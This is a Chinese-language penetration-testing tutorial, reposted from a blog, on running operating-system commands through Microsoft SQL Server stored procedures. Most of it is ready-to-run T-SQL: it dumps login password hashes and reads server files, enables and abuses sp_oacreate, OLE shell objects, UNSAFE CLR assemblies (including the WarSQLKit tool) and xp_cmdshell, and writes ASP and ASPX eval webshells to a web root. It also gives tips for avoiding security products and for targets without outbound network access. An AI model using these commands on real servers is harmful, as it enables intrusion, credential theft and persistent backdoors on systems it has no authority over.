MSSQL儲存過程命令執行
MSSQL儲存過程命令執行
轉載自簡書
基本概念
MSSQL
MSSQL指微軟的SQLServer資料庫伺服器,它是一個數據庫平臺,提供資料庫的從伺服器到終端的完整的解決方案。
元件
元件是對資料和方法的簡單封裝,可以理解為物件。有著自己的屬性和方法。屬性是元件資料的簡單訪問者,而方法就是元件的一些簡單功能。
OLE
OLE是一種面嚮物件的技術,利用這種技術可重複使用COM元件。
基本查詢命令
#查詢版本資訊 select @@version #檢視是否是管理員 select is_srvrolemember('sysadmin') #檢視主機名 select host_name(); #檢視伺服器名 select @@servername; #檢視使用者hash select name,sys.fn_varbintohexstr(password_hash) from sys.sql_logins #檢視sql server 認證方式 select SERVERPROPERTY('IsIntegratedSecurityOnly') #檢視目錄結構 #depth設定為1,表示顯示所以子目錄,file設定為1,表示顯示子目錄的檔案 execute master..xp_dirtree 'e:\',1,1 列出e盤目錄、檔案 #判斷檔案是否存在 exec master.sys.xp_fileexist 'e:\web\tmp.asp' #判斷站庫分離 select host_name(); #查詢客戶端主機名 select @@servername; #查詢服務端主機名 #查詢檔案內容 create table files(line varchar(1024)) bulk insert files from 'e:\1.txt' select * from files
儲存過程
儲存過程是一組為了完成某個特定功能的SQL語句。一次編譯永久生效。然後使用者通過指定儲存過程的名字以及引數來執行。
而儲存過程分為:
- 系統儲存過程
- 本地儲存過程
- 擴充套件儲存過程
- 遠端儲存過程
- 臨時儲存過程
系統儲存過程
以sp_開頭,進行系統的設定。如:sp_oacreate、sp_oamethod
檢視微軟官方文件為:
sp_oacreate是建立 OLE 物件的例項。
sp_oamethod是呼叫一個 OLE 物件的方法。
sp_oacreate 執行命令
啟用SP_OACREATE
EXEC sp_configure 'show advanced options', 1; RECONFIGURE WITH OVERRIDE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE WITH OVERRIDE;
執行系統命令
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c whoami > c:\\1.txt'
Shell.Application //執行命令 declare @o int exec sp_oacreate 'Shell.Application', @o out exec sp_oamethod @o, 'ShellExecute',null, 'cmd.exe','cmd /c whoami >e:\test.txt','c:\windows\system32','','1';
需要注意的是該儲存過程執行命令無回顯,所以將命令執行的結果輸出到檔案裡。
兩個語句中分別使用了wscript.shell、Shell.Application兩個物件,而一些防護產品對該物件比較敏感。
所以有了第二種方法:
同樣也是利用sp_oacreate,但使用的是scripting.filesystemobject物件,該物件用來操作一些檔案。
在知道web絕對路徑的情況下,可利用該物件寫入webshell。也是解決不出網的一張方式。
declare @o int, @f int, @t int, @ret int
exec sp_oacreate 'scripting.filesystemobject', @o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\tmp.asp', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'<%execute(request("x"))%>'
本地儲存過程
本地儲存過程指使用者建立的自定義儲存過程。如:CLR
CLR,公共語言基礎結構(Common Language Infrastructure),用來支援不同程式語言。sql server集成了該元件,可以通過sql server編寫CLR來執行系統命令。
CLR執行系統命令
- 啟用CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
- 將資料庫標記為安全
ALTER DATABASE master SET TRUSTWORTHY ON;
- 利用SQL語句匯入程式集
CREATE ASSEMBLY [Database1]
AUTHORIZATION [dbo]
FROM 0x4D5A9.............
WITH PERMISSION_SET = UNSAFE;
GO
- 建立儲存過程
CREATE PROCEDURE [dbo].[ExecCommand]
@cmd NVARCHAR (MAX)
AS EXTERNAL NAME [Database1].[StoredProcedures].[ExecCommand]
go
- 執行系統命令
exec dbo.ExecCommand "whoami"
WarSQLKit 工具
在看CLR編寫的過程中,順便看到有前輩開發了針對mssql CLR進行利用的滲透工具。
也就是WarSQLKit。github可下載原始碼。
- 啟用CLR
sp_configure 'clr enabled', 1
GO
RECONFIGURE
GO
- 將資料庫標記為安全
ALTER DATABASE master SET TRUSTWORTHY ON;
- 利用SQL語句匯入程式集
CREATE ASSEMBLY [WarSQLKit]
AUTHORIZATION [dbo]
FROM 0x4D5A900003000000.......
WITH PERMISSION_SET = UNSAFE;
GO
注:這裡說一下該十六進位制非常長,在WarSQLKit.dacpac檔案內
解壓該檔案,原始碼存放在model.xml檔案中
- 建立儲存過程
CREATE PROCEDURE sp_cmdExec
@Command [nvarchar](4000)
WITH EXECUTE AS CALLER
AS
EXTERNAL NAME WarSQLKit.StoredProcedures.CmdExec
GO
- 執行系統命令
EXEC sp_cmdExec 'whoami';
擴充套件儲存過程
以xp_開頭,使用外部程式語言編寫的儲存過程。如:xp_cmdshell
xp_cmdshell 執行命令
sql server 2005版本以後預設關閉,需要開啟後使用
- 啟用xp_cmdshell
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
- 執行系統命令
exec master..xp_cmdshell 'whoami'
也可以寫入webshell
exec master..xp_cmdshell 'echo ^<%eval request("x")%^> >e:\shell.aspx'
補充:
實戰中如果出現呼叫CreateProcess失敗,一般為攔截了xp_cmdshell的呼叫。